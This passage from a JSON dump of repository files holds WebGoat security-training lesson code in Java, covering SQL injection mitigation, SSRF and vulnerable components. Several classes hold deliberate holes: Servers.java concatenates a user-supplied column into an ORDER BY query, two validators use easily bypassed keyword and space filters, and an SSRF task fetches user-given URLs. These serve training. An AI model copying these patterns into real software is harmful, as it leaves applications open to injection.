    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.mitigation;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 6/13/17.\n */\n@RestController\n@RequestMapping(\"SqlInjectionMitigations/servers\")\n@Slf4j\npublic class Servers {\n\n  private final LessonDataSource dataSource;\n\n  @AllArgsConstructor\n  @Getter\n  private class Server {\n\n    private String id;\n    private String hostname;\n    private String ip;\n    private String mac;\n    private String status;\n    private String description;\n  }\n\n  public Servers(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)\n  @ResponseBody\n  public List<Server> sort(@RequestParam String column) throws Exception {\n    List<Server> servers = new ArrayList<>();\n\n    try (var connection = dataSource.getConnection()) {\n      try (var statement =\n          connection.prepareStatement(\n              \"select id, hostname, ip, mac, status, description from SERVERS where status <> 'out\"\n                  + \" of order' order by \"\n                  + column)) {\n        try (var rs = statement.executeQuery()) {\n          while (rs.next()) {\n            Server server =\n                new Server(\n                    rs.getString(1),\n                    rs.getString(2),\n                    rs.getString(3),\n                    rs.getString(4),\n                    rs.getString(5),\n                    rs.getString(6));\n            servers.add(server);\n          }\n        }\n      }\n    }\n    return servers;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10a.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.mitigation;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@Slf4j\n@AssignmentHints(\n    value = {\"SqlStringInjectionHint-mitigation-10a-1\", \"SqlStringInjectionHint-mitigation-10a-2\"})\npublic class SqlInjectionLesson10a extends AssignmentEndpoint {\n\n  private String[] results = {\n    \"getConnection\", \"PreparedStatement\", \"prepareStatement\", \"?\", \"?\", \"setString\", \"setString\"\n  };\n\n  @PostMapping(\"/SqlInjectionMitigations/attack10a\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam String field1,\n      @RequestParam String field2,\n      @RequestParam String field3,\n      @RequestParam String field4,\n      @RequestParam String field5,\n      @RequestParam String field6,\n      @RequestParam String field7) {\n    String[] userInput = {field1, field2, field3, field4, field5, field6, field7};\n    int position = 0;\n    boolean completed = false;\n    for (String input : userInput) {\n      if (input.toLowerCase().contains(this.results[position].toLowerCase())) {\n        completed = true;\n      } else {\n        return failed(this).build();\n      }\n      position++;\n    }\n    if (completed) {\n      return success(this).build();\n    }\n    return failed(this).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10b.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.mitigation;\n\nimport java.io.IOException;\nimport java.net.URI;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\nimport javax.tools.Diagnostic;\nimport javax.tools.DiagnosticCollector;\nimport javax.tools.JavaCompiler;\nimport javax.tools.JavaFileObject;\nimport javax.tools.SimpleJavaFileObject;\nimport javax.tools.StandardJavaFileManager;\nimport javax.tools.ToolProvider;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\n      \"SqlStringInjectionHint-mitigation-10b-1\",\n      \"SqlStringInjectionHint-mitigation-10b-2\",\n      \"SqlStringInjectionHint-mitigation-10b-3\",\n      \"SqlStringInjectionHint-mitigation-10b-4\",\n      \"SqlStringInjectionHint-mitigation-10b-5\"\n    })\npublic class SqlInjectionLesson10b extends AssignmentEndpoint {\n\n  @PostMapping(\"/SqlInjectionMitigations/attack10b\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String editor) {\n    try {\n      if (editor.isEmpty()) return failed(this).feedback(\"sql-injection.10b.no-code\").build();\n\n      editor = editor.replaceAll(\"\\\\<.*?>\", \"\");\n\n      String regexSetsUpConnection = \"(?=.*getConnection.*)\";\n      String regexUsesPreparedStatement = \"(?=.*PreparedStatement.*)\";\n      String regexUsesPlaceholder = \"(?=.*\\\\=\\\\?.*|.*\\\\=\\\\s\\\\?.*)\";\n      String regexUsesSetString = \"(?=.*setString.*)\";\n      String regexUsesExecute = \"(?=.*execute.*)\";\n      String regexUsesExecuteUpdate = \"(?=.*executeUpdate.*)\";\n\n      String codeline = editor.replace(\"\\n\", \"\").replace(\"\\r\", \"\");\n\n      boolean setsUpConnection = this.check_text(regexSetsUpConnection, codeline);\n      boolean usesPreparedStatement = this.check_text(regexUsesPreparedStatement, codeline);\n      boolean usesSetString = this.check_text(regexUsesSetString, codeline);\n      boolean usesPlaceholder = this.check_text(regexUsesPlaceholder, codeline);\n      boolean usesExecute = this.check_text(regexUsesExecute, codeline);\n      boolean usesExecuteUpdate = this.check_text(regexUsesExecuteUpdate, codeline);\n\n      boolean hasImportant =\n          (setsUpConnection\n              && usesPreparedStatement\n              && usesPlaceholder\n              && usesSetString\n              && (usesExecute || usesExecuteUpdate));\n      List<Diagnostic> hasCompiled = this.compileFromString(editor);\n\n      if (hasImportant && hasCompiled.size() < 1) {\n        return success(this).feedback(\"sql-injection.10b.success\").build();\n      } else if (hasCompiled.size() > 0) {\n        String errors = \"\";\n        for (Diagnostic d : hasCompiled) {\n          errors += d.getMessage(null) + \"<br>\";\n        }\n        return failed(this).feedback(\"sql-injection.10b.compiler-errors\").output(errors).build();\n      } else {\n        return failed(this).feedback(\"sql-injection.10b.failed\").build();\n      }\n    } catch (Exception e) {\n      return failed(this).output(e.getMessage()).build();\n    }\n  }\n\n  private List<Diagnostic> compileFromString(String s) {\n    JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();\n    DiagnosticCollector diagnosticsCollector = new DiagnosticCollector();\n    StandardJavaFileManager fileManager =\n        compiler.getStandardFileManager(diagnosticsCollector, null, null);\n    JavaFileObject javaObjectFromString = getJavaFileContentsAsString(s);\n    Iterable fileObjects = Arrays.asList(javaObjectFromString);\n    JavaCompiler.CompilationTask task =\n        compiler.getTask(null, fileManager, diagnosticsCollector, null, null, fileObjects);\n    Boolean result = task.call();\n    List<Diagnostic> diagnostics = diagnosticsCollector.getDiagnostics();\n    return diagnostics;\n  }\n\n  private SimpleJavaFileObject getJavaFileContentsAsString(String s) {\n    StringBuilder javaFileContents =\n        new StringBuilder(\n            \"import java.sql.*; public class TestClass { static String DBUSER; static String DBPW;\"\n                + \" static String DBURL; public static void main(String[] args) {\"\n                + s\n                + \"}}\");\n    JavaObjectFromString javaFileObject = null;\n    try {\n      javaFileObject = new JavaObjectFromString(\"TestClass.java\", javaFileContents.toString());\n    } catch (Exception exception) {\n      exception.printStackTrace();\n    }\n    return javaFileObject;\n  }\n\n  class JavaObjectFromString extends SimpleJavaFileObject {\n    private String contents = null;\n\n    public JavaObjectFromString(String className, String contents) throws Exception {\n      super(new URI(className), Kind.SOURCE);\n      this.contents = contents;\n    }\n\n    public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {\n      return contents;\n    }\n  }\n\n  private boolean check_text(String regex, String text) {\n    Pattern p = Pattern.compile(regex, Pattern.CASE_INSENSITIVE);\n    Matcher m = p.matcher(text);\n    if (m.find()) return true;\n    else return false;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson13.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.mitigation;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\n      \"SqlStringInjectionHint-mitigation-13-1\",\n      \"SqlStringInjectionHint-mitigation-13-2\",\n      \"SqlStringInjectionHint-mitigation-13-3\",\n      \"SqlStringInjectionHint-mitigation-13-4\"\n    })\n@Slf4j\npublic class SqlInjectionLesson13 extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  public SqlInjectionLesson13(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/SqlInjectionMitigations/attack12a\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String ip) {\n    try (Connection connection = dataSource.getConnection();\n        PreparedStatement preparedStatement =\n            connection.prepareStatement(\"select ip from servers where ip = ? and hostname = ?\")) {\n      preparedStatement.setString(1, ip);\n      preparedStatement.setString(2, \"webgoat-prd\");\n      ResultSet resultSet = preparedStatement.executeQuery();\n      if (resultSet.next()) {\n        return success(this).build();\n      }\n      return failed(this).build();\n    } catch (SQLException e) {\n      log.error(\"Failed\", e);\n      return (failed(this).build());\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionMitigations.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.mitigation;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class SqlInjectionMitigations extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A3;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"3.sql.mitigation.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidation.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.mitigation;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.lessons.sqlinjection.advanced.SqlInjectionLesson6a;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\"SqlOnlyInputValidation-1\", \"SqlOnlyInputValidation-2\", \"SqlOnlyInputValidation-3\"})\npublic class SqlOnlyInputValidation extends AssignmentEndpoint {\n\n  private final SqlInjectionLesson6a lesson6a;\n\n  public SqlOnlyInputValidation(SqlInjectionLesson6a lesson6a) {\n    this.lesson6a = lesson6a;\n  }\n\n  @PostMapping(\"/SqlOnlyInputValidation/attack\")\n  @ResponseBody\n  public AttackResult attack(@RequestParam(\"userid_sql_only_input_validation\") String userId) {\n    if (userId.contains(\" \")) {\n      return failed(this).feedback(\"SqlOnlyInputValidation-failed\").build();\n    }\n    AttackResult attackResult = lesson6a.injectableQuery(userId);\n    return new AttackResult(\n        attackResult.isLessonCompleted(),\n        attackResult.getFeedback(),\n        attackResult.getOutput(),\n        getClass().getSimpleName(),\n        true);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidationOnKeywords.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.mitigation;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.lessons.sqlinjection.advanced.SqlInjectionLesson6a;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\n      \"SqlOnlyInputValidationOnKeywords-1\",\n      \"SqlOnlyInputValidationOnKeywords-2\",\n      \"SqlOnlyInputValidationOnKeywords-3\"\n    })\npublic class SqlOnlyInputValidationOnKeywords extends AssignmentEndpoint {\n\n  private final SqlInjectionLesson6a lesson6a;\n\n  public SqlOnlyInputValidationOnKeywords(SqlInjectionLesson6a lesson6a) {\n    this.lesson6a = lesson6a;\n  }\n\n  @PostMapping(\"/SqlOnlyInputValidationOnKeywords/attack\")\n  @ResponseBody\n  public AttackResult attack(\n      @RequestParam(\"userid_sql_only_input_validation_on_keywords\") String userId) {\n    userId = userId.toUpperCase().replace(\"FROM\", \"\").replace(\"SELECT\", \"\");\n    if (userId.contains(\" \")) {\n      return failed(this).feedback(\"SqlOnlyInputValidationOnKeywords-failed\").build();\n    }\n    AttackResult attackResult = lesson6a.injectableQuery(userId);\n    return new AttackResult(\n        attackResult.isLessonCompleted(),\n        attackResult.getFeedback(),\n        attackResult.getOutput(),\n        getClass().getSimpleName(),\n        true);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRF.java",
    "content": "package org.owasp.webgoat.lessons.ssrf;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since October 12, 2016\n */\n@Component\npublic class SSRF extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A10;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"ssrf.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask1.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.ssrf;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\"ssrf.hint1\", \"ssrf.hint2\"})\npublic class SSRFTask1 extends AssignmentEndpoint {\n\n  @PostMapping(\"/SSRF/task1\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String url) {\n    return stealTheCheese(url);\n  }\n\n  protected AttackResult stealTheCheese(String url) {\n    try {\n      StringBuilder html = new StringBuilder();\n\n      if (url.matches(\"images/tom.png\")) {\n        html.append(\n            \"<img class=\\\"image\\\" alt=\\\"Tom\\\" src=\\\"images/tom.png\\\" width=\\\"25%\\\"\"\n                + \" height=\\\"25%\\\">\");\n        return failed(this).feedback(\"ssrf.tom\").output(html.toString()).build();\n      } else if (url.matches(\"images/jerry.png\")) {\n        html.append(\n            \"<img class=\\\"image\\\" alt=\\\"Jerry\\\" src=\\\"images/jerry.png\\\" width=\\\"25%\\\"\"\n                + \" height=\\\"25%\\\">\");\n        return success(this).feedback(\"ssrf.success\").output(html.toString()).build();\n      } else {\n        html.append(\"<img class=\\\"image\\\" alt=\\\"Silly Cat\\\" src=\\\"images/cat.jpg\\\">\");\n        return failed(this).feedback(\"ssrf.failure\").output(html.toString()).build();\n      }\n    } catch (Exception e) {\n      e.printStackTrace();\n      return failed(this).output(e.getMessage()).build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask2.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.ssrf;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.nio.charset.StandardCharsets;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\"ssrf.hint3\"})\npublic class SSRFTask2 extends AssignmentEndpoint {\n\n  @PostMapping(\"/SSRF/task2\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String url) {\n    return furBall(url);\n  }\n\n  protected AttackResult furBall(String url) {\n    if (url.matches(\"http://ifconfig.pro\")) {\n      String html;\n      try (InputStream in = new URL(url).openStream()) {\n        html =\n            new String(in.readAllBytes(), StandardCharsets.UTF_8)\n                .replaceAll(\"\\n\", \"<br>\"); // Otherwise the \\n gets escaped in the response\n      } catch (MalformedURLException e) {\n        return getFailedResult(e.getMessage());\n      } catch (IOException e) {\n        // in case the external site is down, the test and lesson should still be ok\n        html =\n            \"<html><body>Although the http://ifconfig.pro site is down, you still managed to solve\"\n                + \" this exercise the right way!</body></html>\";\n      }\n      return success(this).feedback(\"ssrf.success\").output(html).build();\n    }\n    var html = \"<img class=\\\"image\\\" alt=\\\"image post\\\" src=\\\"images/cat.jpg\\\">\";\n    return getFailedResult(html);\n  }\n\n  private AttackResult getFailedResult(String errorMsg) {\n    return failed(this).feedback(\"ssrf.failure\").output(errorMsg).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/Contact.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.vulnerablecomponents;\n\npublic interface Contact {\n\n  public Integer getId();\n\n  public void setId(Integer id);\n\n  public String getFirstName();\n\n  public void setFirstName(String firstName);\n\n  public String getLastName();\n\n  public void setLastName(String lastName);\n\n  public String getEmail();\n\n  public void setEmail(String email);\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/ContactImpl.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.vulnerablecomponents;\n\nimport lombok.Data;\n\n@Data\npublic class ContactImpl implements Contact {\n\n  private Integer id;\n  private String firstName;\n  private String lastName;\n  private String email;\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponents.java",
